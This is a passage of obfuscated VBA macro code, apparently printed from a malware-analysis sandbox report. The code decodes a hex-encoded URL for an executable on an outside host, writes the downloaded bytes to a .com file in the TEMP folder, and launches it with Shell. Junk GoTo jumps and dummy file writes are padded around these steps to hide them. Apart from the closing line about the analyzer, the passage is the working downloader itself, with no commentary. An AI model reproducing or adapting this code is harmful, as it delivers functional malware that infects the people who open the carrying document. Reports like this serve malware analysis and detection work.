shaglofixbnaicvaqygducpumhgeygymjtunyhzvpjrocxwwexswlybpwxgqfiytmwoqfmmyummuwnu: BLFXSWIMXEI = RKOTAYEKGNL.responseBody GoTo buomuvcnnogxcctkswjltqqvjhsisafajrszoydhmbyqsjixafgabpchjgwvlaibgbmswtxwyoujisb Dim flfooudbdqbwskmmmuxeqydqhychcgpzmcuebjvwdpctxvmihixhzwlfruxnnhexsvprynpbehilijb As String Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("6B786766676E7970756C7A656F6C616373616E696C6871777368676D6F7170746D6A6E777578756D786272636967656D6C7664637071667564717A6D656D6C66747474797076677A7562667A68656F") For Binary As #37313 Put #37313, , flfooudbdqbwskmmmuxeqydqhychcgpzmcuebjvwdpctxvmihixhzwlfruxnnhexsvprynpbehilijb Close #37313 buomuvcnnogxcctkswjltqqvjhsisafajrszoydhmbyqsjixafgabpchjgwvlaibgbmswtxwyoujisb: GoTo blydotyhnnxwsicqqpswmppidhnmkyuufboxjcpxgrpanxvyxqhzczpjljtkdremdipslzdbakspnnk Dim rajvfnadbojtpjrcxkanikckwpwdoakhjbhajvquohxlvbjwedkbttlnmrwflcpwhlxpmjoexdtclbj As String Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("73776C676F7668787666616E6C75757572667767756764636D6C64636C706E717264796F77766F6777746273727179616667676A6A797378716A616E646374667A656163726672766B676B6D79756A") For Binary As #95222 Put #95222, , rajvfnadbojtpjrcxkanikckwpwdoakhjbhajvquohxlvbjwedkbttlnmrwflcpwhlxpmjoexdtclbj Close #95222 blydotyhnnxwsicqqpswmppidhnmkyuufboxjcpxgrpanxvyxqhzczpjljtkdremdipslzdbakspnnk: GoTo hlnejtivxvdkolxgfpisywpiylrumjhhcmuyulycontxlrzvlgbnpedcvxbvujxovyckemqwbkrdmnf Dim buomuvcnnogxcctkswjltqqvjhsisafajrszoydhmbyqsjixafgabpchjgwvlaibgbmswtxwyoujisb As String Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("74646263657061626A75626963757A61716B6B626B6D7367736671646D706E62686D77626779746C7370736D697874697261786766796E797A7A756A62796B6E78726A6B6C776B68626E6D66666468") For Binary As #44473 Put #44473, , buomuvcnnogxcctkswjltqqvjhsisafajrszoydhmbyqsjixafgabpchjgwvlaibgbmswtxwyoujisb Close #44473 hlnejtivxvdkolxgfpisywpiylrumjhhcmuyulycontxlrzvlgbnpedcvxbvujxovyckemqwbkrdmnf: CQEKWVEMYEO = FreeFile GoTo mbjedzrpogmdhpdsubzeznrgmbizqcmrhpwhdxmedhdlvzgkunlyxyqllvapbpotctxyiojnqbwfsqp Dim khxbmervamqfmaueajmkbyzjlithxjzqjuvcwiuhnjlzwmagvofifxnnkeanslahbgiddgabfadklot As String Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("656479716A787A726D7170756F6A776370696B717A69736166707774666B6477786F6C6D70666879746570646D6A7A7A616B716474686571746B74786F707A756D63777678616C78766863776E7270") For Binary As #46462 Put #46462, , khxbmervamqfmaueajmkbyzjlithxjzqjuvcwiuhnjlzwmagvofifxnnkeanslahbgiddgabfadklot Close #46462 mbjedzrpogmdhpdsubzeznrgmbizqcmrhpwhdxmedhdlvzgkunlyxyqllvapbpotctxyiojnqbwfsqp: GoTo vpgbmudzikkrazevyffkmfvkqcrrcwxrlxrqrrgdanmyhcaromkcldbqzseeurygwjbiorjiabbjzfk Dim csejeubmgsbaqcprtfnpllzglqpeirerasnemanjesecyuxqreibvjwjlvncdnwljfwnoaqtbzgwood As String Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("6A6E6F61746F63746A6D6366766A6E7779787875786D766366637576727A716D7375716D777A6F63636E6261787A786F6D7A6869667A6870756B78796F726A717A7677666D766F6D736765786C7473") For Binary As #35142 Put #35142, , csejeubmgsbaqcprtfnpllzglqpeirerasnemanjesecyuxqreibvjwjlvncdnwljfwnoaqtbzgwood Close #35142 vpgbmudzikkrazevyffkmfvkqcrrcwxrlxrqrrgdanmyhcaromkcldbqzseeurygwjbiorjiabbjzfk: GoTo pkftzaiadesaxinffomsriygndctpiaaqtbvtsyqpirzyuowsplweorfcsfkrsqahqaeagqkctfanxx Dim mbjedzrpogmdhpdsubzeznrgmbizqcmrhpwhdxmedhdlvzgkunlyxyqllvapbpotctxyiojnqbwfsqp As String Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("706B6E6B63747871736F666A61667868746E767666796E6B6A646F686C70707966687A66696E7063616D7569756561777466727765756979776162656D78686D6D61676B63797177786476636D7268") For Binary As #64618 Put #64618, , mbjedzrpogmdhpdsubzeznrgmbizqcmrhpwhdxmedhdlvzgkunlyxyqllvapbpotctxyiojnqbwfsqp Close #64618 pkftzaiadesaxinffomsriygndctpiaaqtbvtsyqpirzyuowsplweorfcsfkrsqahqaeagqkctfanxx: If Dir(HNRAZHCBCUV) <> hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("") Then Kill HNRAZHCBCUV Open HNRAZHCBCUV For Binary As #CQEKWVEMYEO Put #CQEKWVEMYEO, , BLFXSWIMXEI Close #CQEKWVEMYEO GoTo urirvftlanooamrzttbhcixqevftiedcwtndrbjdvorsqwzfuexpmrlhhremmtrtoebbpfxizydjtpu Dim jvozbrfizpypavtingljqrksajibcdubpgwihsfibbggtiranioxoupqqewybcxgjusmhojrzdmwsee As String Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("696B667468756A7771676E7777646D617776616A6E706C61626B6D63677567736B737A616E766177777A627161786A667775716F72757676736378726C7A6366676C64726D7970766C616173697A6E") For Binary As #20945 Put #20945, , jvozbrfizpypavtingljqrksajibcdubpgwihsfibbggtiranioxoupqqewybcxgjusmhojrzdmwsee Close #20945 urirvftlanooamrzttbhcixqevftiedcwtndrbjdvorsqwzfuexpmrlhhremmtrtoebbpfxizydjtpu: GoTo exfanaqvdxqdarwnnpvjmbvcivfysnfddaromsusmxtfepghdgpdtaabmdcolkozqcrulrnsoyirsis Dim slrspwwertaoczzuvlaasugadcillyjrlcmtqgczzjbcmqzddighpnmcbpjbqfrxhpumemrzsjlitmn As String Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("63636C7778646F716772666A737575706571786368627362796C6B797977646C6D696C6E6A71706F73747A6169666765786F617663636F74646F6F676A7A6279656F617873766B796C6F776170777A") For Binary As #41701 Put #41701, , slrspwwertaoczzuvlaasugadcillyjrlcmtqgczzjbcmqzddighpnmcbpjbqfrxhpumemrzsjlitmn Close #41701 exfanaqvdxqdarwnnpvjmbvcivfysnfddaromsusmxtfepghdgpdtaabmdcolkozqcrulrnsoyirsis: GoTo aznpqpseshhywlxkdnmogdopfqoqjnwglywvevuklnwzrkqknpztkppyyjydxggdyzcjsohdmziffzi Dim urirvftlanooamrzttbhcixqevftiedcwtndrbjdvorsqwzfuexpmrlhhremmtrtoebbpfxizydjtpu As String Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("767A676E6A776476757762737770616D6873666B656C636A787A676B7963617A716E6A7668756B6E7763667377766678686D697377696B75656364716D636B6C70736372666476676D686965726179") For Binary As #14452 Put #14452, , urirvftlanooamrzttbhcixqevftiedcwtndrbjdvorsqwzfuexpmrlhhremmtrtoebbpfxizydjtpu Close #14452 aznpqpseshhywlxkdnmogdopfqoqjnwglywvevuklnwzrkqknpztkppyyjydxggdyzcjsohdmziffzi: Dim VKSTZEIQOSP GoTo dwrdricghnzbukkvksacspqftufcumkorebbieyyrsizoglokxtgpuallohibxzcyyezbgzpyahzybd Dim zxtwymetnpinugqzppevyyvcdmohxoxzxdwequedtjlbcwsyiawkwoqrrigjcssefpuceohyuysbdib As String Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("726C746D617866656E677969686D716F666F6C73746166776A706F7363656666757A7A70796F7975686B74786E7970696765666775796B726C65747561696471796E6E766879717671626C796E7172") For Binary As #71626 Put #71626, , zxtwymetnpinugqzppevyyvcdmohxoxzxdwequedtjlbcwsyiawkwoqrrigjcssefpuceohyuysbdib Close #71626 dwrdricghnzbukkvksacspqftufcumkorebbieyyrsizoglokxtgpuallohibxzcyyezbgzpyahzybd: GoTo bsjastenvudbmbtoihxltgqrogqccymnvhnyodiiskfddhyuymzocjgnossxzmxhscrzyaaawcafaqq Dim vpgbmudzikkrazevyffkmfvkqcrrcwxrlxrqrrgdanmyhcaromkcldbqzseeurygwjbiorjiabbjzfk As String Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("726A717063656B70626A616B617469757661677670707975667A636E7A6475776B6B63726D747568647A72667A71626C6676626E746E736F6A6F6978677368676178677675717A7771686B676B6675") For Binary As #67956 Put #67956, , vpgbmudzikkrazevyffkmfvkqcrrcwxrlxrqrrgdanmyhcaromkcldbqzseeurygwjbiorjiabbjzfk Close #67956 bsjastenvudbmbtoihxltgqrogqccymnvhnyodiiskfddhyuymzocjgnossxzmxhscrzyaaawcafaqq: GoTo toxlahqljhlcmiiwcrdlwgjrhdpohrusqrqoiqbpnlyexsnxiseascwooeqxpeewevqdjpggxgpignf Dim dwrdricghnzbukkvksacspqftufcumkorebbieyyrsizoglokxtgpuallohibxzcyyezbgzpyahzybd As String Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("6F787977617961626877746C687577696E62657361696969646763746A6F6E6370696A797877766468717A726C75696B6D76777972757A68707763656F7A7479736F69767773746673736E6E636964") For Binary As #91879 Put #91879, , dwrdricghnzbukkvksacspqftufcumkorebbieyyrsizoglokxtgpuallohibxzcyyezbgzpyahzybd Close #91879 toxlahqljhlcmiiwcrdlwgjrhdpohrusqrqoiqbpnlyexsnxiseascwooeqxpeewevqdjpggxgpignf: VKSTZEIQOSP = Shell(HNRAZHCBCUV, 1) GoTo illzfddswnvfhufnayfrjxmbulgfytrytqbzcnvmdwxrmnbgnghoroprrcmlcamfwonifgpxqekjudy Dim jpqagrpqgpzhgrhcrhyrxieugpotphmucaqkydztfirufgiskqdxgxsuicmnzllzmcdooogiwmgwfcw As String Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("6B6C6265786E73727967686261767A6B76747576646C6E6379666C6B746A736762657A65677466786D636668636B67666D6C766F6F747A6669616A6F70796C756E757A6A72797363657A69736B6D6D") For Binary As #31421 Put #31421, , jpqagrpqgpzhgrhcrhyrxieugpotphmucaqkydztfirufgiskqdxgxsuicmnzllzmcdooogiwmgwfcw Close #31421 illzfddswnvfhufnayfrjxmbulgfytrytqbzcnvmdwxrmnbgnghoroprrcmlcamfwonifgpxqekjudy: GoTo mcdgbeimukepahqalkujnovqbnxijtrpbjrmtimamispoyqntqdlzndrhdgnsdxlkwsymrirlhqzqfc Dim mhqyweehgsskwliijkwokbzjvtmydydputmsafzgwxtmakfvlceejduqxviqyyirfktvmmzwjaovkoi As String Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("657A6E6361727268736177716A6D686D6C6D7A7369786A6E6D766D6A6F73636976706C62666D7A726B6669617279746879756364796E666C797375636361747A66726965677662666967716B646B72") For Binary As #43213 Put #43213, , mhqyweehgsskwliijkwokbzjvtmydydputmsafzgwxtmakfvlceejduqxviqyyirfktvmmzwjaovkoi Close #43213 mcdgbeimukepahqalkujnovqbnxijtrpbjrmtimamispoyqntqdlzndrhdgnsdxlkwsymrirlhqzqfc: GoTo auimipigrjwsynrtumhnujvjjcpmfsxbwwqtxbhgyopgdctlleftxbdxxufrioppkmvmrpfjuicghfu Dim illzfddswnvfhufnayfrjxmbulgfytrytqbzcnvmdwxrmnbgnghoroprrcmlcamfwonifgpxqekjudy As String Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("74786E766370626E787767756174786A70707A76696E65737775727A6E726276616C6A6B776A656B616271626871647A7A7A67737979676361617579716F7878656B726A6F736864646E6A65666875") For Binary As #61385 Put #61385, , illzfddswnvfhufnayfrjxmbulgfytrytqbzcnvmdwxrmnbgnghoroprrcmlcamfwonifgpxqekjudy Close #61385 auimipigrjwsynrtumhnujvjjcpmfsxbwwqtxbhgyopgdctlleftxbdxxufrioppkmvmrpfjuicghfu: Set RKOTAYEKGNL = Nothing GoTo uhlejfwsnynfnhgaxsifqdegaxtqgergfcgvbggnzrbftcehqslinmxbykmeiscziioubwpzfdspufo Dim uyuxzfhkrlyokleozseypllsmqzkatdgxdinwonfhuqwvyhdgtozrgjxfsrvgtibetgbbnxoablctor As String Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("7366687371676B6B716B6E7A666D7361787A7A6E736A78786470706D756D6364646B616374746265646D72656C787565776B7371786D637A626A776C656D796765706A7464636D777773616A6C6B6B") For Binary As #62775 Put #62775, , uyuxzfhkrlyokleozseypllsmqzkatdgxdinwonfhuqwvyhdgtozrgjxfsrvgtibetgbbnxoablctor Close #62775 uhlejfwsnynfnhgaxsifqdegaxtqgergfcgvbggnzrbftcehqslinmxbykmeiscziioubwpzfdspufo: GoTo tvbfebuckpemvbgakljhswactgepyfonqzhounmrnndzrrewxcovappgjvntgkjanycwejiuwmpcwkg Dim gkmwrkhfselavxjbzmijyjttdumfzcgaoqohldvamgxbuogkfaympxslwcbfsuyitpmrnxdeetunnaa As String Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("746D73696A65676563766B7A6E7A6C766679767A6B6767777A7068786B666D7A6D75736B777874736D796268627A7577627477627465726C7965676B637979776D6D6E7963696F7470706A75717969") For Binary As #43775 Put #43775, , gkmwrkhfselavxjbzmijyjttdumfzcgaoqohldvamgxbuogkfaympxslwcbfsuyitpmrnxdeetunnaa Close #43775 tvbfebuckpemvbgakljhswactgepyfonqzhounmrnndzrrewxcovappgjvntgkjanycwejiuwmpcwkg: GoTo oywylszkgczybqjcvfkgbgbqlgwoguiiijiddxitccsowgmqkdxregsrrjuxcyaxkhjpxnrgrmguvqz Dim uhlejfwsnynfnhgaxsifqdegaxtqgergfcgvbggnzrbftcehqslinmxbykmeiscziioubwpzfdspufo As String Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("797673736A6F68686972686E6779626B646A6376746E6B667365727A6377616A6C64796263746363617263656F6B68736E726178727A6F70686B676A6D6B65707A706A71766B626570786975717561") For Binary As #86464 Put #86464, , uhlejfwsnynfnhgaxsifqdegaxtqgergfcgvbggnzrbftcehqslinmxbykmeiscziioubwpzfdspufo Close #86464 oywylszkgczybqjcvfkgbgbqlgwoguiiijiddxitccsowgmqkdxregsrrjuxcyaxkhjpxnrgrmguvqz: End Function Sub AJMLBVAWVNS() ZYRBWVLOAHJ hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("687474703A2F2F6770736261682E636F6D2F696D616765732F312E657865"), Environ("TEMP") & "\SHXPQCJGTOH.com" End Sub Public Function hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz(ByVal Fiksdbvbsdsd As String) As String Dim fvbpolv As Long For fvbpolv = 1 To Len(Fiksdbvbsdsd) Step 2 hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz = hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz & Chr$(Val("&H" & Mid$(Fiksdbvbsdsd, fvbpolv, 2))) Next fvbpolv End Function

Open this report in the interactive analyzer, or submit your own file for analysis.